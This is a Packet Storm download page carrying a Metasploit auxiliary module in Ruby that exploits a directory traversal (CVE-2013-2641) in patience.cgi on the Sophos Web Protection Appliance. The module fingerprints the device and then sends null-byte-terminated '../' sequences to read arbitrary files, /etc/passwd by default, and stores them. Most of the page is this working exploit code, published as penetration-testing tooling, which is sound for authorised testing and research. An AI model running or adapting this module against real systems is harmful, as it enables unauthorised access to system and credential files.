exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sophos Web Protection Appliance Patience.cgi Directory Traversal

Sophos Web Protection Appliance Patience.cgi Directory Traversal
Posted Aug 31, 2024
Authored by juan vazquez, Wolfgang Ettlingers | Site metasploit.com

This Metasploit module abuses a directory traversal in Sophos Web Protection Appliance, specifically on the /cgi-bin/patience.cgi component. This Metasploit module has been tested successfully on the Sophos Web Virtual Appliance v3.7.0.

tags | exploit, web, cgi
advisories | CVE-2013-2641
SHA-256 | 3d4fc09d9f6482421e030cede564961a2b390c83045857868d24748e125478ec

Sophos Web Protection Appliance Patience.cgi Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
'Description' => %q{
This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
Sophos Web Virtual Appliance v3.7.0.
},
'Author' => [
'Wolfgang Ettlingers', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-2641' ],
[ 'OSVDB', '91953' ],
[ 'BID', '58833' ],
[ 'EDB', '24932' ],
[ 'URL', 'https://web.archive.org/web/20130603041204/http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ],
[ 'URL', 'https://web.archive.org/web/20140701204340/https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ]
],
'DefaultOptions' => {
'SSL' => true
},
'DisclosureDate' => '2013-04-03'
)
)

register_options(
[
Opt::RPORT(443),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal depth', 2])
]
)
end

def my_basename(filename)
return ::File.basename(filename.gsub(/\\/, '/'))
end

def is_proficy?
res = send_request_cgi(
{
'uri' => '/cgi-bin/patience.cgi',
'method' => 'GET'
}
)

if res && (res.code == 307) && res.body =~ (/The patience page request was not valid/)
return true
else
return false
end
end

def read_file(file)
travs = ''
travs << '../' * datastore['DEPTH']
travs << file
travs << '%00'

print_status('Retrieving file contents...')

res = send_request_cgi(
{
'uri' => '/cgi-bin/patience.cgi',
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'id' => travs
}
}
)

if res && ((res.code == 200) || (res.code == 500)) && res.headers['X-Sophos-PatienceID']
return res.body
else
print_status("#{res.code}\n#{res.body}")
return nil
end
end

def run
print_status("Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
if is_proficy?
print_good('Check successful')
else
print_error('Sophos Web Protect Appliance vulnerable component not found')
return
end

contents = read_file(datastore['FILEPATH'])
if contents.nil?
print_error('File not downloaded')
return
end

file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
'sophos.wpa.traversal',
'application/octet-stream',
rhost,
contents,
file_name
)
print_good("File saved in: #{path}")
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close